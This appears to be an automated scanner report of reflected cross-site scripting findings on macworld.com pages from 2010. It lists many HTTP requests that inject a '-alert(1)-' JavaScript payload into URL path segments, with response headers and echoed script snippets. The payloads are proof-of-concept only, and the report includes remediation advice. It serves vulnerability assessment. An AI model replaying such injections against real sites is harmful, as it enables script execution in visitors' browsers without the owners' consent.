HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:35 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:35 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2393'-alert(1)-'d8870245563 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156465/2010/12b2393'-alert(1)-'d8870245563/color_blindness_iphone.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:47 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:47 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da20f'-alert(1)-'e63be7e2499 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156465/2010/12/color_blindness_iphone.htmlda20f'-alert(1)-'e63be7e2499 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:56 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156465/2010/12/color_blindness_iphone.htmlda20f'-alert(1)-'e63be7e2499'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25950'-alert(1)-'02615171d29 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156466/201025950'-alert(1)-'02615171d29/12/digital_raw_update_35.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:58 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:58 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0735'-alert(1)-'d2670da54e8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156466/2010/12c0735'-alert(1)-'d2670da54e8/digital_raw_update_35.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:11 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:11 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c72e0'-alert(1)-'8efe20d6cd3 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156466/2010/12/digital_raw_update_35.htmlc72e0'-alert(1)-'8efe20d6cd3 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:21 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... .isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156466/2010/12/digital_raw_update_35.htmlc72e0'-alert(1)-'8efe20d6cd3'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3cde3'-alert(1)-'91a92cc57c8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156470/20103cde3'-alert(1)-'91a92cc57c8/12/yahoo.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:52 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:52 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fb83c'-alert(1)-'7ece98874a3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156470/2010/12fb83c'-alert(1)-'7ece98874a3/yahoo.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:00 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:59 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a8ed1'-alert(1)-'7fe0beff08 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156470/2010/12/yahoo.htmla8ed1'-alert(1)-'7fe0beff08 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:11 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload faed7'-alert(1)-'fe90475a046 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156477/2010faed7'-alert(1)-'fe90475a046/12/remains_121610.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:54 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:54 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 829b6'-alert(1)-'f0587dc8cc3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156477/2010/12829b6'-alert(1)-'f0587dc8cc3/remains_121610.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:03 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:02 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b44b'-alert(1)-'8fa0b4df2ba was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156477/2010/12/remains_121610.html5b44b'-alert(1)-'8fa0b4df2ba HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:13 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be58d'-alert(1)-'095867f4059 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156480/2010be58d'-alert(1)-'095867f4059/12/airport_updates.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:03 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:02 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c850a'-alert(1)-'a045fb2ab81 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156480/2010/12c850a'-alert(1)-'a045fb2ab81/airport_updates.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:18 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:18 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8692c'-alert(1)-'b020bcdc708 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156480/2010/12/airport_updates.html8692c'-alert(1)-'b020bcdc708 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:28 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dea6f'-alert(1)-'2e027dd8bba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact.htmldea6f'-alert(1)-'2e027dd8bba HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:27 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload facb3'-alert(1)-'b2c35066689 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /howto.htmlfacb3'-alert(1)-'b2c35066689 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:18:56 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3f05'-alert(1)-'e63eb5f5a9b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /info/copyright.htmle3f05'-alert(1)-'e63eb5f5a9b HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:21:54 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 26fd0'-alert(1)-'9481d0ca454 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /info/press.html26fd0'-alert(1)-'9481d0ca454 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:21:51 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b6b1'-alert(1)-'9236159e262 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /info/privacy.html5b6b1'-alert(1)-'9236159e262 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:21:52 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e685'-alert(1)-'5f8861a7056 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /info/standards.html8e685'-alert(1)-'5f8861a7056 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:21:51 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 520c0'-alert(1)-'eff50e08460 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /info/tos.html520c0'-alert(1)-'eff50e08460 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:21:49 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d844e'-alert(1)-'3aa25c65149 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /myaccountd844e'-alert(1)-'3aa25c65149/profile HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:35 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ca73'-alert(1)-'661588761ee was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /myaccount/profile1ca73'-alert(1)-'661588761ee HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:36 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6bb6e'-alert(1)-'3ce342613c8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news.html6bb6e'-alert(1)-'3ce342613c8 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:18:40 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8847f'-alert(1)-'93ba796c657 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /newsletters/index8847f'-alert(1)-'93ba796c657 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:21:58 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9573f'-alert(1)-'ce0e6324737 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /register9573f'-alert(1)-'ce0e6324737 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:36 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... e = pcw_readCookie('macUserName'); Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/register9573f'-alert(1)-'ce0e6324737'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59047'-alert(1)-'430e2d29b5b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
